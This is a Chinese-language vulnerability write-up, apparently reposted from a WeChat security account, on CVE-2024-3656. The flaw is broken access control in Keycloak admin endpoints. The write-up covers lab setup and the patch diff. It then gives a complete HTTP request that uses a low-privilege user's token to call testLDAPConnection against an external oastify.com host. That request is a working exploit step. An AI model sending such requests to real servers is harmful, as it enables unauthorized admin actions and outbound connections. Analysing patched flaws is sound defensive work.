Keycloak <24.0.5 容易受到 Broken Access Control 漏洞的影响,攻击者可以使用任何经过身份验证的用户执行某些 api 操作,例如:
通过testLDAPConnection端点测试 LDAP 连接。通过getUnmanagedAttributes端点检索任何用户的非托管属性。通过getProviders端点访问客户端注册策略提供程序。
我只发现 testLDAPConnection 很有趣,因为攻击者可以与外部主机的 LDAP 进行交互。
首先从这里下载存在漏洞的 KeyCloak 24.0.4 版本https://www.keycloak.org/archive/downloads-24.0.4.html
然后解压 Zip 文件并运行命令bin/kc.sh start-dev
现在您将在 localhost:8080 上运行它,创建一个新的管理员帐户,然后登录到该管理员帐户,现在为普通用户创建一个新领域,然后在该领域中创建具有用户权限的用户
根据修复漏洞“某些管理端点缺少身份验证检查”的提交https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
我们发现有3个文件已被修改:
-
TestLdapConnectionResource.java
-
UserResource.java
-
ClientRegistrationPolicyResource.java
分析TestLdapConnectionResource.java中的代码变化:
(有漏洞的代码):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}
没有权限检查。任何经过身份验证的用户都可以调用testLDAPConnection并执行 LDAP 测试,这是一种管理操作。
(修补代码):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Added permission check
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}
添加此行auth.realm().requireManageRealm();是为了检查用户是否manage_realm在该领域具有管理员权限(角色)。
这意味着任何拥有任何领域的用户都可以发送请求到/admin/realms/users/testLDAPConnection
现在在新浏览器中打开链接http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
使用您创建的用户登录,然后 grep 授权:Bearer <>
向存在漏洞的端点发送 HTTP 请求:
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
在参数中connectionUrl输入您的外部主机并发送请求,
然后您将收到 DNS 交互
您可以使用 getUnmanagedAttributes 和 getProviders 应用相同的操作。
参考:
https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
https://github.com/advisories/GHSA-2cww-fgmg-4jqc
原文始发于微信公众号(Ots安全):CVE-2024-3656 - Keycloak 管理 API 允许低权限用户使用管理功能
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论